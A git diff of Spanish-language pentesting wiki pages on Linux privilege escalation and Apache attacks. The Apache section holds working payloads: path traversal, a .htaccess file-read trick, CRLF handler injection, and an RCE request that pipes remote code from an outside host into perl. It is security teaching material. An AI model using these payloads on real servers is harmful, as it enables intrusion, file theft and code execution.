**BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumera vulnerabilidades del kernel en linux y MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (acceso físico):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Recopilación de más scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## Referencias +## References - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) @@ -1437,13 +1460,4 @@ cisco-vmanage.md - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) -## Marcos de rooting de Android: abuso de canal de administrador - -Los marcos de rooting de Android comúnmente enganchan una syscall para exponer la funcionalidad privilegiada del kernel a un administrador de espacio de usuario. La autenticación débil del administrador (por ejemplo, verificaciones de firma basadas en el orden de FD o esquemas de contraseña deficientes) puede permitir que una aplicación local se haga pasar por el administrador y escale a root en dispositivos ya rooteados. Aprende más y detalles de explotación aquí: - - -{{#ref}} -android-rooting-frameworks-manager-auth-bypass-syscall-hook.md -{{#endref}} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md index 657c718bd..86c9ac13a 100644 --- a/src/network-services-pentesting/pentesting-web/apache.md +++ b/src/network-services-pentesting/pentesting-web/apache.md @@ -4,11 +4,11 @@ ## Extensiones PHP ejecutables -Verifique qué extensiones está ejecutando el servidor Apache. Para buscarlas, puede ejecutar: +Comprueba qué extensiones está ejecutando el servidor Apache. Para buscarlas puedes ejecutar: ```bash grep -R -B1 "httpd-php" /etc/apache2 ``` -También, algunos lugares donde puedes encontrar esta configuración son: +Además, algunos lugares donde puedes encontrar esta configuración son: ```bash /etc/apache2/mods-available/php5.conf /etc/apache2/mods-enabled/php5.conf @@ -21,19 +21,47 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con uid=1(daemon) gid=1(daemon) groups=1(daemon) Linux ``` +## LFI via .htaccess ErrorDocument file provider (ap_expr) + +Si puedes controlar el .htaccess de un directorio y AllowOverride incluye FileInfo para esa ruta, puedes convertir respuestas 404 en lecturas arbitrarias de archivos locales usando la función ap_expr file() dentro de ErrorDocument. + +- Requisitos: +- Apache 2.4 con expression parser (ap_expr) habilitado (por defecto en 2.4). +- El vhost/dir debe permitir que .htaccess establezca ErrorDocument (AllowOverride FileInfo). +- El Apache worker user debe tener permisos de lectura sobre el archivo objetivo. + +.htaccess payload: +```apache +# Optional marker header just to identify your tenant/request path +Header always set X-Debug-Tenant "demo" +# On any 404 under this directory, return the contents of an absolute filesystem path +ErrorDocument 404 %{file:/etc/passwd} +``` +Provóquelo solicitando cualquier ruta inexistente dentro de ese directorio, por ejemplo al abusar de userdir-style hosting: +```bash +curl -s http://target/~user/does-not-exist | sed -n '1,20p' +``` +Notas y consejos: +- Solo funcionan rutas absolutas. El contenido se devuelve como el cuerpo de la respuesta para el handler 404. +- Los permisos de lectura efectivos son los del usuario de Apache (típicamente www-data/apache). No podrás leer /root/* o /etc/shadow en configuraciones por defecto. +- Incluso si .htaccess es root-owned, si el directorio padre es tenant-owned y permite rename, es posible que puedas renombrar el .htaccess original y subir tu propio reemplazo vía SFTP/FTP: +- rename .htaccess .htaccess.bk +- put your malicious .htaccess +- Úsalo para leer el código fuente de la aplicación bajo DocumentRoot o rutas de configuración vhost para recolectar secretos (DB creds, API keys, etc.). + ## Confusion Attack -Estos tipos de ataques han sido introducidos y documentados [**por Orange en esta publicación de blog**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) y lo siguiente es un resumen. El ataque de "confusión" básicamente abusa de cómo los decenas de módulos que trabajan juntos creando un Apache no funcionan perfectamente sincronizados y hacer que algunos de ellos modifiquen algunos datos inesperados puede causar una vulnerabilidad en un módulo posterior. +These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module. ### Filename Confusion #### Truncation -El **`mod_rewrite`** recortará el contenido de `r->filename` después del carácter `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Esto no es totalmente incorrecto ya que la mayoría de los módulos tratarán `r->filename` como una URL. Pero en otras ocasiones esto se tratará como una ruta de archivo, lo que causaría un problema. +The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Pero en otras ocasiones esto será tratado como una ruta de archivo, lo que puede causar un problema. - **Path Truncation** -Es posible abusar de `mod_rewrite` como en el siguiente ejemplo de regla para acceder a otros archivos dentro del sistema de archivos, eliminando la última parte de la ruta esperada simplemente añadiendo un `?`: +It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`: ```bash RewriteEngine On RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml" @@ -46,9 +74,9 @@ curl http://server/user/orange curl http://server/user/orange%2Fsecret.yml%3F # the output of file `/var/user/orange/secret.yml` ``` -- **Asignación de RewriteFlag Engañosa** +- **Asignación engañosa de RewriteFlag** -En la siguiente regla de reescritura, siempre que la URL termine en .php, se tratará y ejecutará como php. Por lo tanto, es posible enviar una URL que termine en .php después del carácter `?` mientras se carga en la ruta un tipo diferente de archivo (como una imagen) con código php malicioso dentro de él: +En la siguiente regla de reescritura, siempre que la URL termine en .php será tratada y ejecutada como php. Por lo tanto, es posible enviar una URL que termine en .php después del carácter `?` mientras se carga en la ruta un archivo de tipo diferente (por ejemplo una imagen) con código php malicioso en su interior: ```bash RewriteEngine On RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php] @@ -61,9 +89,9 @@ curl http://server/upload/1.gif curl http://server/upload/1.gif%3fooo.php # GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` -#### **Bypass de ACL** +#### **ACL Bypass** -Es posible acceder a archivos a los que el usuario no debería poder acceder, incluso si el acceso debería ser denegado con configuraciones como: +Es posible acceder a archivos a los que el usuario no debería poder acceder, incluso si el acceso debería estar denegado con configuraciones como: ```xml AuthType Basic @@ -72,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd" Require valid-user ``` -Esto se debe a que, por defecto, PHP-FPM recibirá URLs que terminan en `.php`, como `http://server/admin.php%3Fooo.php` y porque PHP-FPM eliminará cualquier cosa después del carácter `?`, la URL anterior permitirá cargar `/admin.php` incluso si la regla anterior lo prohibía. +Esto se debe a que, por defecto, PHP-FPM recibirá URLs que terminan en `.php`, como `http://server/admin.php%3Fooo.php`, y dado que PHP-FPM eliminará cualquier cosa después del carácter `?`, la URL anterior permitirá cargar `/admin.php` incluso si la regla previa lo prohibía. ### Confusión de DocumentRoot ```bash DocumentRoot /var/www/html RewriteRule ^/html/(.*)$ /$1.html ``` -Un dato curioso sobre Apache es que la reescritura anterior intentará acceder al archivo tanto desde documentRoot como desde root. Así que, una solicitud a `https://server/abouth.html` verificará el archivo en `/var/www/html/about.html` y `/about.html` en el sistema de archivos. Lo que básicamente se puede abusar para acceder a archivos en el sistema de archivos. +Un dato curioso sobre Apache es que la reescritura anterior intentará acceder al archivo tanto desde el documentRoot como desde root. Así, una petición a `https://server/abouth.html` comprobará la existencia del archivo en `/var/www/html/about.html` y en `/about.html` en el sistema de archivos. Esto, básicamente, puede ser abusado para acceder a archivos del sistema de archivos. -#### **Divulgación de Código Fuente del Lado del Servidor** +#### **Server-Side Source Code Disclosure** -- **Divulgar Código Fuente CGI** +- **Disclose CGI Source Code** -Agregar un %3F al final es suficiente para filtrar el código fuente de un módulo cgi: +Con solo añadir un %3F al final basta para leak the source code of a cgi module: ```bash curl http://server/cgi-bin/download.cgi # the processed result from download.cgi @@ -95,17 +123,17 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F # ... # # the source code of download.cgi ``` -- **Divulgar el código fuente de PHP** +- **Divulgar PHP Source Code** -Si un servidor tiene diferentes dominios, siendo uno de ellos un dominio estático, esto puede ser abusado para recorrer el sistema de archivos y filtrar código php: +Si un servidor tiene distintos dominios y uno de ellos es un dominio estático, esto puede aprovecharse para recorrer el sistema de archivos y leak php code: ```bash # Leak the config.php file of the www.local domain from the static.local domain curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" # the source code of config.php ``` -#### **Manipulación de Gadgets Locales** +#### **Local Gadgets Manipulation** -El principal problema con el ataque anterior es que, por defecto, la mayoría del acceso al sistema de archivos será denegado, como en la [plantilla de configuración](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) del Apache HTTP Server: +El principal problema con el ataque anterior es que, por defecto, la mayor parte del acceso al sistema de archivos será denegado como en Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115): ```xml AllowOverride None @@ -121,36 +149,36 @@ Require all granted ``` Por lo tanto, sería posible **abusar de archivos ubicados dentro de `/usr/share` en estas distribuciones.** -**Gadget Local para Divulgación de Información** +**Local Gadget to Information Disclosure** -- **Apache HTTP Server** con **websocketd** puede exponer el script **dump-env.php** en **/usr/share/doc/websocketd/examples/php/**, lo que puede filtrar variables de entorno sensibles. -- Los servidores con **Nginx** o **Jetty** podrían exponer información sensible de la aplicación web (por ejemplo, **web.xml**) a través de sus raíces web predeterminadas ubicadas bajo **/usr/share**: +- **Apache HTTP Server** con **websocketd** puede exponer el script **dump-env.php** en **/usr/share/doc/websocketd/examples/php/**, que puede leak variables de entorno sensibles. +- Servidores con **Nginx** o **Jetty** podrían exponer información sensible de aplicaciones web (p. ej., **web.xml**) a través de sus raíces web por defecto ubicadas bajo **/usr/share**: - **/usr/share/nginx/html/** - **/usr/share/jetty9/etc/** - **/usr/share/jetty9/webapps/** -**Gadget Local para XSS** +**Local Gadget to XSS** -- En Ubuntu Desktop con **LibreOffice instalado**, explotar la función de cambio de idioma de los archivos de ayuda puede llevar a **Cross-Site Scripting (XSS)**. Manipular la URL en **/usr/share/libreoffice/help/help.html** puede redirigir a páginas maliciosas o versiones anteriores a través de **unsafe RewriteRule**. +- En Ubuntu Desktop con **LibreOffice instalado**, explotar la función de cambio de idioma de los archivos de ayuda puede conducir a **Cross-Site Scripting (XSS)**. Manipular la URL en **/usr/share/libreoffice/help/help.html** puede redirigir a páginas maliciosas o versiones antiguas mediante **unsafe RewriteRule**. -**Gadget Local para LFI** +**Local Gadget to LFI** -- Si PHP o ciertos paquetes de front-end como **JpGraph** o **jQuery-jFeed** están instalados, sus archivos pueden ser explotados para leer archivos sensibles como **/etc/passwd**: +- Si PHP o ciertos paquetes front-end como **JpGraph** o **jQuery-jFeed** están instalados, sus archivos pueden ser explotados para leer archivos sensibles como **/etc/passwd**: - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php** - **/usr/share/javascript/jquery-jfeed/proxy.php** - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php** -**Gadget Local para SSRF** +**Local Gadget to SSRF** -- Utilizando **MagpieRSS's magpie_debug.php** en **/usr/share/php/magpierss/scripts/magpie_debug.php**, se puede crear fácilmente una vulnerabilidad SSRF, proporcionando una puerta de entrada a más exploits. +- Utilizando **MagpieRSS's magpie_debug.php** en **/usr/share/php/magpierss/scripts/magpie_debug.php**, se puede crear fácilmente una vulnerabilidad SSRF, proporcionando una puerta a exploits adicionales. -**Gadget Local para RCE** +**Local Gadget to RCE** -- Las oportunidades para **Remote Code Execution (RCE)** son vastas, con instalaciones vulnerables como un **PHPUnit** desactualizado o **phpLiteAdmin**. Estos pueden ser explotados para ejecutar código arbitrario, mostrando el extenso potencial de la manipulación de gadgets locales. +- Las oportunidades para **Remote Code Execution (RCE)** son amplias, con instalaciones vulnerables como una **PHPUnit** desactualizada o **phpLiteAdmin**. Estas pueden explotarse para ejecutar código arbitrario, demostrando el extenso potencial de la manipulación de local gadgets. -#### **Jailbreak desde Gadgets Locales** +#### **Jailbreak from Local Gadgets** -También es posible hacer jailbreak desde las carpetas permitidas siguiendo enlaces simbólicos generados por el software instalado en esas carpetas, como: +También es posible hacer jailbreak desde las carpetas permitidas siguiendo symlinks generados por software instalado en esas carpetas, como: - **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/` - **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data` @@ -158,53 +186,53 @@ También es posible hacer jailbreak desde las carpetas permitidas siguiendo enla - **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/` - **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/` -Además, abusando de enlaces simbólicos fue posible obtener **RCE en Redmine.** +Además, abusando de symlinks fue posible obtener **RCE en Redmine.** -### Confusión de Manejadores +### Handler Confusion -Este ataque explota la superposición en la funcionalidad entre las directivas `AddHandler` y `AddType`, que ambas pueden ser utilizadas para **habilitar el procesamiento de PHP**. Originalmente, estas directivas afectaban diferentes campos (`r->handler` y `r->content_type` respectivamente) en la estructura interna del servidor. Sin embargo, debido a código legado, Apache maneja estas directivas de manera intercambiable bajo ciertas condiciones, convirtiendo `r->content_type` en `r->handler` si el primero está establecido y el segundo no. +Este ataque explota la superposición en la funcionalidad entre las directivas `AddHandler` y `AddType`, que ambas pueden usarse para **habilitar el procesamiento de PHP**. Originalmente, estas directivas afectaban campos diferentes (`r->handler` y `r->content_type` respectivamente) en la estructura interna del servidor. Sin embargo, debido a código legado, Apache maneja estas directivas indistintamente bajo ciertas condiciones, convirtiendo `r->content_type` en `r->handler` si el primero está establecido y el último no. -Además, en el Apache HTTP Server (`server/config.c#L420`), si `r->handler` está vacío antes de ejecutar `ap_run_handler()`, el servidor **utiliza `r->content_type` como el manejador**, haciendo que `AddType` y `AddHandler` sean idénticos en efecto. +Además, en Apache HTTP Server (`server/config.c#L420`), si `r->handler` está vacío antes de ejecutar `ap_run_handler()`, el servidor **usa `r->content_type` como handler**, haciendo efectivamente que `AddType` y `AddHandler` sean idénticos en efecto. -#### **Sobrescribir Manejador para Divulgar Código Fuente PHP** +#### **Overwrite Handler to Disclose PHP Source Code** -En [**esta charla**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), se presentó una vulnerabilidad donde un `Content-Length` incorrecto enviado por un cliente puede hacer que Apache **devuelva el código fuente de PHP**. Esto se debió a un problema de manejo de errores con ModSecurity y el Apache Portable Runtime (APR), donde una doble respuesta lleva a sobrescribir `r->content_type` a `text/html`.\ +En [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), se presentó una vulnerabilidad donde un `Content-Length` incorrecto enviado por un cliente puede hacer que Apache, por error, **devuelva el código fuente PHP**. Esto se debía a un problema en el manejo de errores con ModSecurity y el Apache Portable Runtime (APR), donde una doble respuesta conduce a sobrescribir `r->content_type` a `text/html`.\ Debido a que ModSecurity no maneja correctamente los valores de retorno, devolvería el código PHP y no lo interpretaría. -#### **Sobrescribir Manejador para XXXX** +#### **Overwrite Handler to XXXX** -TODO: Orange no ha divulgado esta vulnerabilidad aún +TODO: Orange aún no ha divulgado esta vulnerabilidad -### **Invocar Manejadores Arbitrarios** +### **Invoke Arbitrary Handlers** -Si un atacante puede controlar el encabezado **`Content-Type`** en una respuesta del servidor, podrá **invocar manejadores de módulos arbitrarios**. Sin embargo, en el momento en que el atacante controla esto, la mayor parte del proceso de la solicitud ya se habrá realizado. Sin embargo, es posible **reiniciar el proceso de solicitud abusando del encabezado `Location`** porque si el `Status` devuelto es 200 y el encabezado `Location` comienza con una `/`, la respuesta se trata como una Redirección del Lado del Servidor y debe ser procesada. +Si un atacante puede controlar la cabecera **`Content-Type`** en una respuesta del servidor, podrá **invocar handlers arbitrarios de módulos**. Sin embargo, para cuando el atacante controle esto, la mayor parte del procesamiento de la request ya se habrá realizado. No obstante, es posible **reiniciar el proceso de la request abusando de la cabecera `Location`** porque si el `Status` devuelto es 200 y la cabecera `Location` comienza con `/`, la respuesta se trata como una Server-Side Redirection y debe ser procesada -De acuerdo con [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (especificación sobre CGI) en [Sección 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) se define un comportamiento de Respuesta de Redirección Local: +According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specification about CGI) in [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) defines a Local Redirect Response behavior: -> El script CGI puede devolver una ruta URI y una cadena de consulta (‘local-pathquery’) para un recurso local en un campo de encabezado Location. Esto indica al servidor que debe reprocesar la solicitud utilizando la ruta especificada. +> The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified. Por lo tanto, para realizar este ataque se necesita una de las siguientes vulnerabilidades: -- Inyección CRLF en los encabezados de respuesta CGI -- SSRF con control completo de los encabezados de respuesta +- CRLF Injection in the CGI response headers +- SSRF with complete control of the response headers -#### **Manejador Arbitrario para Divulgación de Información** +#### **Arbitrary Handler to Information Disclosure** -Por ejemplo, `/server-status` debería ser accesible solo localmente: +Por ejemplo `/server-status` debería ser accesible solo localmente: ```xml SetHandler server-status Require local ``` -Es posible acceder configurando el `Content-Type` a `server-status` y el encabezado Location comenzando con `/` +Es posible acceder a él estableciendo el `Content-Type` en `server-status` y la cabecera Location que comience por `/` ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo %0d%0a Content-Type:server-status %0d%0a %0d%0a ``` -#### **Manejador Arbitrario a SSRF Completo** +#### **Handler arbitrario a SSRF completa** Redirigiendo a `mod_proxy` para acceder a cualquier protocolo en cualquier URL: ``` @@ -215,20 +243,20 @@ http://example.com/%3F %0d%0a %0d%0a ``` -Sin embargo, el encabezado `X-Forwarded-For` se agrega impidiendo el acceso a los puntos finales de metadatos en la nube. +Sin embargo, se añade la cabecera `X-Forwarded-For`, lo que impide el acceso a los endpoints de metadatos en la nube. -#### **Controlador Arbitrario para Acceder al Socket de Dominio Unix Local** +#### **Manejador arbitrario para acceder al Unix Domain Socket local** -Acceda al Socket de Dominio Unix local de PHP-FPM para ejecutar un backdoor PHP ubicado en `/tmp/`: +Accede al Unix Domain Socket local de PHP-FPM para ejecutar un PHP backdoor ubicado en `/tmp/`: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a %0d%0a ``` -#### **Manejador Arbitrario para RCE** +#### **Arbitrary Handler to RCE** -La imagen oficial [PHP Docker](https://hub.docker.com/_/php) incluye PEAR (`Pearcmd.php`), una herramienta de gestión de paquetes PHP en línea de comandos, que puede ser abusada para obtener RCE: +La imagen oficial de [PHP Docker](https://hub.docker.com/_/php) incluye PEAR (`Pearcmd.php`), una herramienta de línea de comandos para la gestión de paquetes de PHP, que puede ser abusada para obtener RCE: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS} @@ -237,10 +265,13 @@ orange.tw/x|perl Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` -Consulta [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), escrito por [Phith0n](https://x.com/phithon_xg) para los detalles de esta técnica. +Consulta [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), escrito por [Phith0n](https://x.com/phithon_xg) para conocer los detalles de esta técnica. ## Referencias - [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) +- [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html) +- [Apache 2.4 Expressions and functions (file:)](https://httpd.apache.org/docs/2.4/expr.html) +- [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html) {{#include ../../banners/hacktricks-training.md}}